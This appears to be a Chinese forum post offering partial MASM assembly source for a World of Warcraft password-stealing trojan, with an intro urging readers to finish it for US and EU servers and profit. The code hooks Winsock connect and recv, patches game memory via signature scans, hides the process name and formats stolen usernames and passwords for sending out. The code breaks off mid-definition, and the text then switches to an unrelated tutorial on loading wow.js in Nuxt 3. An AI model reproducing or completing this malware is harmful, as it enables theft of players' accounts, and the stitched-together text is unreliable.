欧服WOW木马核心源代码,游戏版本v2.4.3.8606

 对应游戏版本v2.4.3.8606。这个只是核心代码,而非完整代码,通过调式完全可以写出美服跟欧服的WOW马来,大家发财去吧

Quote:
;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>;
;                Programmed by asm, MSN:asm32@live.cn                          ;
;                  WOWGameMaker For WOW_MF_OF                                  ;
;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>;
;0041DAEA  |.  5E            pop    esi                <-------------特征码位置+12=断点位置
;0041DAEB  |.  33CD          xor    ecx, ebp
;0041DAED  |.  5B            pop    ebx
;0041DAEE  |.  E8 E7CAFEFF  call    0040A5DA
;0041DAF3  |.  8BE5          mov    esp, ebp
;0041DAF5  |.  5D            pop    ebp                <-------------断点位置
;0041DAF6  /.  C2 0400      retn    4                  <-------------ret执行后,游戏会跳转到005B55B4h这里执行。因此在木马里要
;搜索这个地址得特征码从而得到通用得地址,而不是直接采用硬编码 = =。再得到通用得地址后执行 mov eax,hJmpEip/jmp eax即可

;szUserPassRealCode db 5Eh, 33h, 0CDh,5Bh, 0E8h, 0E7h,0CAh,0FEh,0FFh,8Bh,0E5h,5Dh,0C2h, 04h,00h

;005B55B4      8B4D FC      mov    ecx, dword ptr [ebp-4]    <-----------------得到要跳转的地址
;005B55B7      5F            pop    edi
;005B55B8      5E            pop    esi
;005B55B9  |.  33CD          xor    ecx, ebp
;005B55BB  |.  5B            pop    ebx
;005B55BC  |.  E8 1950E5FF  call    0040A5DA
;005B55C1      8BE5          mov    esp, ebp

;szJmpEip db 8Bh,4Dh, 0FCh,5Fh,5Eh,33h,0CDh,5Bh,0E8h, 19h,50h,0E5h,0FFh,8Bh,0E5h
;----------------------------------------------------------------------------------------------------------------
.486
.model flat,stdcall
option casemap:none
include debug.inc
include        windows.inc
include        user32.inc
includelib        user32.lib
include        kernel32.inc
includelib        kernel32.lib
include        advapi32.inc
includelib        advapi32.lib
include        comctl32.inc
includelib        comctl32.lib
include        psapi.inc
includelib        psapi.lib
IncludeLib Masm32.lib
Include Masm32.inc
include    Shlwapi.inc
includelib  Shlwapi.lib
include    shell32.inc
includelib  shell32.lib
include macros.inc
includelib mylib.lib
include        wininet.inc
includelib    wininet.lib
HOOKAPI struct
a  byte 0B8h
PMyapi DWORD 0
d BYTE 0FFh
e BYTE 0E0h
HOOKAPI ends

MODULEINFO struct

lpBaseOfDll dword 0
SizeOfImage dword 0
EntryPoint dword 0

MODULEINFO ends
F_STOP                equ        0002h

;子程序声明

HookApi proto :DWORD ,:DWORD,:DWORD,:DWORD,:DWORD,:DWORD
HookApi1 proto :DWORD ,:DWORD,:DWORD,:DWORD,:DWORD,:DWORD
HookApiRecv proto :DWORD ,:DWORD,:DWORD,:DWORD,:DWORD,:DWORD
WriteApi proto :DWORD ,:DWORD,:DWORD,:DWORD
WriteApi1 proto :DWORD ,:DWORD,:DWORD,:DWORD
MyHookFunToGetUserAndPass proto  :DWORD  ,:DWORD,:DWORD
MyConnect  proto  :DWORD  ,:DWORD,:DWORD;,:DWORD
MyRecv proto  :DWORD  ,:DWORD,:DWORD,:DWORD
GetApi proto  :DWORD,:DWORD
BakDll proto  :DWORD,:DWORD

AntiFileToRun proto c :DWORD
BytePos proto c :DWORD,:DWORD,:DWORD,:DWORD,:DWORD
LoadModuleEx proto c :DWORD
GetModuleImageSize proto c :DWORD
CaleHookPointerWOW proto c
ExtractFileName proto c :DWORD
ExtractFilePath proto c :DWORD

;已初始化数据
.data
hInstance dd 0
WProcess dd 0

Papi1 DWORD ?
Papi2 DWORD ?
Papi3 DWORD ?
WritBak1 HOOKAPI <>
WritBak2 HOOKAPI <>
ApiBak1 db 10 dup(?)
ApiBak2 db 10 dup(?)
DllName1  db "ws2_32.dll",0
ApiName1  db "connect",0
ApiName2  db "recv",0
ApiName3 db "hook",0
szWowprocess db "g&mpm",0  ;wow.exe加密
Dllbase1 DWORD ?
NowDllbase1 DWORD ?
NowDllbase2 DWORD ?
dwTemp dd ?
hAdress dd ?
;Dllbase2 DWORD ?
;NowDllbase2 DWORD ?
hRecvBak dd ?
hRecv dd ?
szJmp db  0C2h,04h,00h,0cch,0cch,0cch,0cch  ;恢复
szJmpRecv db  8Bh,0FFh,55h,8Bh,0ECh,83h,0ECh, 10h,53h,33h,0DBh,81h,3Dh, 28h,40h,0A3h,71h,56h,0Fh,84h, 5Eh,50h,00h,00h
szWOWFmt db "wowu=%s&wowp=%s&wowf=%s",13,10,13,10,0
szUserPassRealCode db 5Eh, 33h, 0CDh,5Bh, 0E8h, 0E7h,0CAh,0FEh,0FFh,8Bh,0E5h,5Dh,0C2h, 04h,00h
szJmpEip db 8Bh,4Dh, 0FCh,5Fh,5Eh,33h,0CDh,5Bh,0E8h, 19h,50h,0E5h,0FFh,8Bh,0E5h
szEbpEnter db 6Ah, 40h, 5
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要在Nuxt 3中引入wow.js,可以按照以下步骤操作: 1. 安装wow.js和animate.css 可以使用npm或yarn安装wow.js和animate.css: ``` npm install wowjs animate.css ``` 或 ``` yarn add wowjs animate.css ``` 2. 创建一个插件文件 在Nuxt 3中,可以使用插件文件来引入第三方库。创建一个新的文件`wow.js`,并将以下代码添加到文件中: ``` import { createApp } from 'vue' import WOW from 'wowjs' export default function (context, inject) { const app = createApp() app.directive('wow', WOW.wow) inject('wow', WOW) } ``` 在这个插件文件中,我们首先使用`createApp`函数创建一个Vue实例。然后,我们使用Vue的`directive`方法将WOW.js的指令`wow`添加到Vue的指令系统中。最后,我们使用Nuxt 3的`inject`方法将WOW.js注入到Nuxt 3应用程序中。 3. 在nuxt.config.js中引入插件 打开`nuxt.config.js`文件,在`plugins`数组中添加以下代码: ``` { src: '~/plugins/wow.js', mode: 'client' } ``` 这将在客户端模式下引入插件。 4. 在组件中使用WOW.js 现在,您可以在组件中使用WOW.js了。在需要使用WOW.js的组件中,您可以按照以下步骤操作: 首先,使用`this.$wow.init()`方法初始化WOW.js: ``` export default { mounted() { this.$wow.init() } } ``` 然后,您可以在需要使用WOW.js的元素上添加`wow`指令: ``` <template> <div class="wow fadeIn" v-wow> ... </div> </template> ``` 现在,当这个组件被挂载时,WOW.js将自动在带有`wow`指令的元素上应用动画效果。

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